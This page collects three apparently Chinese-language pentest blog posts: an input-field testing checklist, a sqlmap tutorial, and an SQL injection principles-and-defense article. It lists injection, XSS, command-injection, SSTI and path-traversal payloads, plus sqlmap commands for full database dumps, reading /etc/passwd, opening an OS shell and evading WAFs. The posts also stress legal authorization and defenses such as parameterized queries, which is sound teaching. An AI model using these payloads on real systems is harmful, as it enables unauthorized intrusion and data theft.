SQL注入 on SoulJian小站

渗透思路：输入框 / 搜索框

Sat, 29 Aug 2026 23:59:00 +0800

写在前面：合法学习边界

本文思路只用于授权测试。对真实系统注入、执行命令可能触犯法律。

一、输入框为什么重要

输入框是攻击面最密集的地方：用户输入进入数据库、命令、模板、文件路径等不同上下文，都可能被利用。看到输入框，按“输入去哪了”来判断测什么。

二、先判断“输入去哪了”

1
2
3
4
5
6
7


进数据库查询 → SQL 注入
回显到页面 → XSS
拼进系统命令 → 命令注入
进模板渲染 → SSTI（模板注入）
进文件路径 → 路径穿越/文件包含
进 XML 解析 → XXE
进反序列化 → 反序列化

三、思路清单

1. SQL 注入

1
2
3
4


' / " / 单引号报错
' or 1=1--、' AND 1=1
时间盲注 SLEEP(5)
参数化 → 报错/布尔/时间区分

2. XSS

1
2
3


<script>alert(1)</script>
<img src=x onerror=alert(1)>
看回显位置（HTML/属性/JS）决定编码

3. 命令注入

1
2
3


; id、| whoami、&& id、`id`
$(whoami)
多出现在 ping、搜索、导出等功能

4. 模板注入（SSTI）

1
2


{{7*7}}、${7*7}、#{7*7}
识别模板引擎（Jinja2/Twig/FreeMarker…）

5. 路径穿越 / 文件包含

1
2
3


../../../../etc/passwd
php://filter 读源码
参数名如 file/path/page/download

6. 参数 fuzz

1
2


Burp Intruder / ffuf 对参数做 fuzz
测类型、长度、枚举值、越权

四、优先级

1
2
3
4


先看输入走向（决定测哪类漏洞）
SQL 注入 / 命令注入 / SSTI 优先（危害大）
XSS 看回显位置
路径穿越/文件包含看参数名

五、小结

输入框测试的关键是“先判断输入去哪了，再选对应漏洞打”。同样一个输入框，后端是拼 SQL 还是拼命令，决定了它是 SQL 注入还是命令注入。抓包看后端处理，比盲目试 payload 高效得多。

sqlmap 使用与 SQL 注入自动化实战

Sat, 29 Aug 2026 14:40:00 +0800

写在前面：合法学习边界

sqlmap 只用于授权靶场或明确授权的目标。对真实系统跑全功能注入、拖库可能触犯法律。

一、工具定位

sqlmap 是自动化检测和利用 SQL 注入的工具，支持多种注入类型：

1
2
3
4


基于布尔/时间/报错的盲注
联合查询、堆叠查询
POST/Header/Cookie 注入
数据库指纹、脱库、读写文件

二、基础用法

第一步：验证注入点

1

sqlmap -u "http://目标/get.php?id=1" --batch

--batch 全自动确认，会检测是否存在注入、识别数据库类型。

指定注入方式与等级

1
2
3
4
5
6


# 提高检测等级（更多测试点、更慢）
sqlmap -u "http://目标/?id=1" --level 3 --risk 2
# POST 注入
sqlmap -u "http://目标/login" --data "user=1&pass=1"
# Header/Cookie 注入
sqlmap -u "http://目标/" --headers "X-Forwarded-For: 1*"

控制注入类型

1
2
3


# 只测布尔/时间盲注（不出网场景）
sqlmap -u "http://目标/?id=1" --technique BT
# 技术选项：B布尔 E报错 U联合 S堆叠 T时间

三、脱库流程

枚举数据库

1

sqlmap -u "http://目标/?id=1" --dbs

枚举表与字段

1
2


sqlmap -u "http://目标/?id=1" -D 数据库名 --tables
sqlmap -u "http://目标/?id=1" -D 数据库名 -T 表名 --columns

导出数据

1
2
3


sqlmap -u "http://目标/?id=1" -D 数据库名 -T users --dump
# 一次全拖
sqlmap -u "http://目标/?id=1" --dump-all

断点续传与并发

1

sqlmap -u "http://目标/?id=1" -D 库 -T 表 --dump --threads 5 --batch

四、进阶与绕过

读写文件（需要文件权限）

1
2
3
4


# 读文件
sqlmap -u "http://目标/?id=1" --file-read "/etc/passwd"
# 写 webshell
sqlmap -u "http://目标/?id=1" --os-shell

绕过 WAF / 特征

1
2
3
4


--random-agent # 随机 UA
--tamper=space2comment # 空格替换注释等绕过
--delay=1 # 限速降低告警
--time-sec=5 # 时间盲注延时

从请求文件跑

1
2


# 先抓包存到 req.txt，再导入
sqlmap -r req.txt --batch

五、常见误区

1
2
3
4


一上来就 --dump-all，流量大又慢
不确认注入类型就全技术跑
忽略数据库账号权限，以为万能
不懂注入原理，只会套命令

六、检测与防御（对立面）

1
2
3
4
5


参数化查询 / 预处理（根本）
WAF 拦截注入特征
最小权限数据库账号
错误信息不回显
对异常长参数、注入关键字告警

七、小结

sqlmap 能省大量时间，但它只是工具。真正决定成败的是：注入点在哪个参数、数据库什么权限、能不能出网、要不要绕过。先手动确认注入，再让 sqlmap 自动化，才是正确姿势。

SQL 注入原理与防御

Sat, 29 Aug 2026 04:35:00 +0800

写在前面：合法学习边界

本文讲解 SQL 注入的原理与防御。所有示例都用于理解漏洞形成过程，不代表你可以对真实网站、数据库或企业系统实施攻击。漏洞验证必须在自建靶场、公司授权测试环境或明确书面授权的目标上完成。未经授权访问、篡改、读取数据库数据可能触犯《网络安全法》《数据安全法》《个人信息保护法》和《刑法》相关规定。

一、为什么 SQL 注入一直是高频漏洞

SQL 注入的本质是：程序把用户输入拼接到 SQL 语句里，数据库把这段输入当成 SQL 代码执行了。

很多开发者写查询时会这样想：

1

SELECT * FROM users WHERE username = 'admin'

如果后端直接拼接用户输入：

1

SELECT * FROM users WHERE username = '" + username + "'"

而用户输入：

1

admin' OR '1'='1

最终可能变成：

1

SELECT * FROM users WHERE username = 'admin' OR '1'='1'

数据库会把它理解成一个永远为真的条件，从而绕过登录判断。

安全学习的关键不是记住 ' OR 1=1，而是理解：

1

输入没有被当作数据，而被当成了逻辑或命令的一部分

二、SQL 注入的常见类型

1. 基于错误的注入

数据库返回错误信息，泄露表名、字段名、SQL 结构甚至系统路径。

例子：

1

Unknown column 'id' in 'field list'

这种报错通常说明数据库参数、字段或查询结构有问题，但真正利用需要授权环境。

2. 基于布尔盲注

页面只有两种状态，比如成功/失败、有数据/无数据。攻击者通过构造条件逐位猜解信息。

例如：

1
2


id=1 AND 1=1
id=1 AND 1=2

通过页面差异判断条件真假。

3. 基于时间盲注

页面没有明显差异，但响应时间不同。常见做法是构造慢查询条件。

例如：

1

id=1 AND SLEEP(5)

这类技术需要谨慎理解，真实使用只能在授权靶场。

4. 基于联合查询的注入

当查询结果被直接展示在页面上，攻击者可能尝试把其他表的数据带进页面。

典型结构是：

1

UNION SELECT table_name FROM information_schema.tables

这是理解原理时的常见写法，不能直接在真实网站执行。

三、为什么很多系统会中招

SQL 注入往往不是单点问题，而是工程习惯问题。

常见原因包括：

1
2
3
4
5
6


拼接 SQL
没有统一输入处理
没有最小权限数据库账号
错误信息直接暴露给用户
没有 WAF 或日志审计
代码复用多个查询模板

尤其是老系统、后台系统、导出功能、搜索功能和订单查询功能，都容易出现输入直接进入查询的地方。

影响与危害

SQL 注入能造成：

1
2
3
4


登录绕过
数据库数据泄露（脱库）
篡改数据
执行系统命令（配合堆叠查询/存储过程）

严重时直接导致整个数据库甚至服务器沦陷。风险等级：高到严重。

四、防御思路

1. 参数化查询

这是最有效、最通用的防御方式。核心思想是把参数交给驱动，而不是拼接字符串。

伪代码：

1
2


query = "SELECT * FROM users WHERE username = ?"
params = [username]

不要把用户输入直接拼进 SQL 文本。

2. 输入校验

输入校验能减少风险，但不应成为唯一防线。正确做法是：

1
2
3
4


限制格式
限制长度
限制枚举值
按业务校验类型

但真正的安全边界应该在数据库访问层。

3. 最小权限

数据库账号不要直接给管理员权限。只给应用真正需要的权限，例如：

1
2
3


SELECT
INSERT
UPDATE

不要给：

1
2
3
4
5


GRANT
FILE
SUPER
DROP
ALTER

4. 错误信息控制

生产环境不要把原始 SQL 错误、堆栈和数据库结构直接展示给用户。应该记录服务端日志，对用户返回友好错误。

5. 审计和监控

关注这些现象：

1
2
3
4


参数中频繁出现 SQL 关键字
大量 500 错误
登录失败后请求模式异常
导出接口被频繁调用

修复

1
2
3
4
5


改用参数化查询/预处理语句（最根本）
数据库账号最小权限，禁用 FILE/SUPER 等
关闭错误信息回显
对历史代码排查拼接 SQL
修复后复测：拼接 payload 不再生效

验证操作步骤

1
2
3
4
5


第 1 步：找参数点（搜索/登录/ID），送单引号 ' 看是否报错
第 2 步：判断注入方式（报错/布尔/时间盲注/联合查询）
第 3 步：用布尔差异确认（id=1 AND 1=1 / AND 1=2）
第 4 步：用 sqlmap 自动化验证并脱库（授权内）
第 5 步：确认后记录注入点与影响

五、SQL 注入在报告中的正确写法

好的报告需要说清证据、影响和建议。

示例：

1
2
3


发现：搜索参数 q 的值会拼接到 SQL 查询，错误页面显示原始 SQL 片段。
风险：可能导致登录绕过、数据泄露、条件查询异常。
建议：改为参数化查询；限制数据库账号权限；关闭错误信息泄露；补充 WAF 与日志审计。

不要只写“存在 SQL 注入风险”，要有验证依据。

六、小结

SQL 注入的核心不是工具，而是输入与查询边界。凡是用户输入最终进入 SQL 的地方，都要优先采用参数化查询、最小权限和错误控制。理解了这个边界，XSS、SSRF、文件上传和日志分析也会更容易看懂。